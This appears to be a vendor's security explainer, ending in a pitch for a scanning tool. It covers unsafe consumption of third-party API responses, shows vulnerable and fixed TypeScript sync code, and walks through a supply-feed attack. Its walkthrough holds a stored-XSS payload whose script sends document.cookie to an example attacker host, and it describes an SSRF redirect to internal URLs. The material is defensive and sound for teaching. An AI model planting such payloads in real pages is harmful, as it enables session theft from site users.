Your app is careful about what the user sends it. Every field validated, every string escaped. Then you call a partner API, parse the JSON, and drop it straight into your database. The partner is a real company with a real contract. The partner's API is an attacker's input to your system, and nobody told you to treat it that way.
Unsafe Consumption of APIs is when your app treats another API's response as trusted data. You validate what your users send you, then turn around and hand the JSON from a partner feed straight to your database, your template, or your browser. The partner is not necessarily malicious — they just might be compromised, buggy, or have changed their schema this week.
What your AI actually built
You asked for an integration. Pull product data from a supplier feed. Enrich a profile with LinkedIn data. Call a weather API and cache the response. Stripe webhook. Shopify webhook. 'Login with Google.' The model happily wrote the fetch, parsed the JSON, and stored the result.
What it did not do was treat that JSON as untrusted input. It did not validate the shape, did not cap the size, did not escape the strings before rendering them, did not check the redirect, did not verify the signature. The upstream service is trusted by name. Its response is not.
The nasty version is a trusted partner whose own API is compromised — or is simply buggy. They return HTML in a field that used to be a plain string. Your app renders it. You now have XSS from a source that is not in any security tutorial, because it is not 'the user.'
How it gets exploited
An e-commerce app pulls product listings from a third-party drop-shipping API. New products appear automatically.
- 1Compromise the upstreamThe attacker finds a way — social engineering, a leaked API key, their own seller account — to edit product descriptions on the drop-shipping platform.
- 2Inject through the pipeThey set a product description to <script>fetch('https://evil.example/?c='+document.cookie)</script>. The downstream app pulls the feed and caches it.
- 3Hit every storeEvery e-commerce site consuming that feed now renders the script on the product page. The app validated the form inputs from its own users but treated the supplier JSON as safe.
- 4Follow the redirectSame app also uses the supplier API for product images. The supplier returns a 302 to an internal URL. Image proxy follows it. See also: API7.
One compromise at one supplier becomes a compromise at every downstream app consuming the feed. The downstream apps are 'correct' — their own user input is validated. They just never considered that the upstream was input too.
Vulnerable vs Fixed
// lib/sync-products.ts
export async function syncProducts() {
const res = await fetch('https://supplier.example/api/products');
const data = await res.json();
// Straight into the database — shape, size, content all trusted.
for (const product of data.products) {
await db.product.upsert({
where: { sku: product.sku },
create: product,
update: product,
});
}
}// lib/sync-products.ts
import { z } from 'zod';
const ProductSchema = z.object({
sku: z.string().max(64),
title: z.string().max(200),
description: z.string().max(5_000),
priceCents: z.number().int().min(0).max(100_000_00),
imageUrl: z.string().url().startsWith('https://'),
});
const FeedSchema = z.object({
products: z.array(ProductSchema).max(1_000),
});
export async function syncProducts() {
const res = await fetch('https://supplier.example/api/products', {
redirect: 'error',
signal: AbortSignal.timeout(10_000),
});
if (!res.ok) throw new Error('supplier returned ' + res.status);
const raw = await res.json();
const feed = FeedSchema.parse(raw); // throws on shape drift
for (const product of feed.products) {
await db.product.upsert({
where: { sku: product.sku },
create: product,
update: product,
});
}
}Every third-party response gets a schema. Every string has a max length. Every URL is https and resolved. Redirects are off. The partner is still trusted to exist and pay their bills — their JSON is not trusted to have the shape you expect.
A real case
Ledger — a supply chain compromise through a trusted dependency
In 2023, an attacker compromised a third-party npm package that Ledger applications loaded at runtime — every downstream app that trusted the upstream shipped malicious code to its users without a single line of their own code changing.
Related reading
References
Find the partners your app trusts too much.
Flowpatrol maps every outbound integration in your app and shows which responses you handle safely and which you just believe. Five minutes. One URL.
Try it free